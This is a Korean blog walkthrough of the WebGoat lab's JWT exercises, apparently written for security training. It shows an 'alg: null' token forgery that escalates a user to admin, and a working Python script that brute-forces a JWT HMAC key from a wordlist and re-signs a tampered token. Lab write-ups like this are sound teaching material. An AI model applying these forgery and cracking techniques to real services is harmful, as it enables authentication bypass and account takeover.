Notice
Recent Posts
Recent Comments
Link
«   2024/09   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30
Archives
Today
Total
관리 메뉴

삽질블로그

[Kali_LINUX] Broken Authentication | JWT tokens 본문

카테고리 없음

[Kali_LINUX] Broken Authentication | JWT tokens

삽질장인 2020. 8. 27. 19:10

※ 본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

4. https://www.youtube.com/watch?v=r43oZ_agIsI

1) 첫 화면

 

2) Guest로 변경

 

3) Vote Now!를 누르면 해당 메시지가 뜨는 것을 확인

 

4) Tom으로 변경

 

5) Tom 계정으로 Vote Now!를 누르면 votes의 수가 36000에서 36001로 바꼈음을 알 수 있다.

 

6) 그리고 휴지통 버튼을 누르면 해당 텍스트가 뜬다.

 

7) 같은 방법으로 Sylvester의 계정으로 들어가서 휴지통을 눌러도 해당 텍스트가 뜬다.

8) 다시 Tom의 계정으로 휴지통을 누르되 Burp Suite의 Intercept is on인 상태에서 Forward를 누르면 Cookie: access token이 추가로 뜬다.

9) access_token을 가지고 메모장에 붙여놓고 base64.guru사이트 >Converter > Base64 Decode로 간다.

그리고 access_token이 .으로 끊어지는 부분을 첫번째, 두번째, 세번째로 나누고

먼저 첫번째를 Base64에 붙인다. 그리고 하단에 Decode Base64버튼을 누르면 text가 나온다

그럼 그 text를 가지고 Base64 Encode로 가서 Text에 붙이고 뒤에 값을 null값으로 바꾼다

ex) {"alg":null}

그리고 Encode to Base64를 누르면 Base64가 나오는데 이것을 메모장에 따로 붙인다. eyJhbGciOm51bGx9

똑같이 두번째 부분을 같은 방식으로 하면 예시와 같이나오는데

ex) {"iat":1599384091,"admin":"false","user":"Tom"} 이것의 admin뒤 "false"를 "true"로 바꾼다.

그러면 eyJpYXQiOjE1OTkzODQwOTEsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ 이렇게 해당값이 나올텐데

아까 나온 것과 붙여서 (.은 붙여야한다)

ex) eyJhbGciOm51bGx9.eyJpYXQiOjE1OTkzODQwOTEsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ

이것을 가지고 아까 access_token부분에 갈아끼워준다.

그리고 뒤에 .을 붙여줄것

eyJhbGciOm51bGx9.eyJpYXQiOjE1OTkzODQwOTEsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.;

그다음 Action을 눌러서 Do intercept > Response to this request하고 Forward하다보면

이런 화면이 뜬다. 그럼 성공

 

5. JWT cracking

1) Assignment에 있는 토큰을 먼저 긁어서 저장한다.

2) 단어 목록 사전 다운로드 ( https://github.com/first20hours/google-10000-english )

3) Base64.guru 사이트 접속> Base64 Decode > 토큰의 두번째 부분을 붙여넣는다.

 그럼 하단 처럼 나오는데 username 부분을 Tom이 아니라 WebGoat로 바꿔준다.

{"iss":"WebGoat Token Builder"
,"aud":"webgoat.org","iat":1599543147,"exp":1599543207,"sub":"tom@webgoat.org"
,"username":"Tom","Email":"tom@webgoat.org","Role":["Manager","Project Administrator"]}

 

하단의 파일을 만들고 문제에서 준 토큰을 token에 넣고 payload는 username을 바꾼 상태의 위에 부분을 넣어준다.

import base64  
import hashlib  
import hmac  
  
def jwt_tokens_5():  
     token = 'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTU5OTU0NTc1NiwiZXhwIjoxNTk5NTQ1ODE2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.ZNoy9v76mHd2-3XdQ_9zue3ModhnUSqRbBvcqGoFHz8'.split('.')  
  
     payload = '{"iss":"WebGoat Token Builder","iat":1524210904,"exp":1618905304,"aud":"webgoat.org","sub":"tom@webgoat.com","username":"WebGoat","Email":"tom@webgoat.com","Role":["Manager","Project Administrator"]}'.encode()  
  
     unsigned_token = (token[0] + '.' + token[1]).encode()  
  
     # signature is base64 URL encoded and padding has been removed, so we must add it  
     signature = (token[2] + '=' * (-len(token[2]) % 4)).encode()  
  
     with open('google-10000-english-master/google-10000-english.txt', 'r') as fd:  
         lines = [line.rstrip('\n').encode() for line in fd]  
  
     def hmac_base64(key, message):  
         return base64.urlsafe_b64encode(bytes.fromhex(hmac.new(key, message, hashlib.sha256).hexdigest()))  
  
     for line in lines:  
         test = hmac_base64(line, unsigned_token)  
  
         if test == signature:  
             print('Key: {}'.format(line.decode()))  
             new_token = (token[0] + '.' + base64.urlsafe_b64encode(payload).decode().rstrip('=')).encode()  
             new_signature = hmac_base64(line, new_token)  
             new_token += ('.' + new_signature.decode().rstrip('=')).encode()  
             print('New token: {}'.format(new_token.decode()))  
             return  
  
jwt_tokens_5()

 

4) 파일을 저장했다면 명령창에 python3 JWT-cracking.py을 해준다. py파일은 방금 만든파일

그럼 아마 New token이라고 뜨는데 그 부분을 긁어서 입력창에 넣어주면 끝

Comments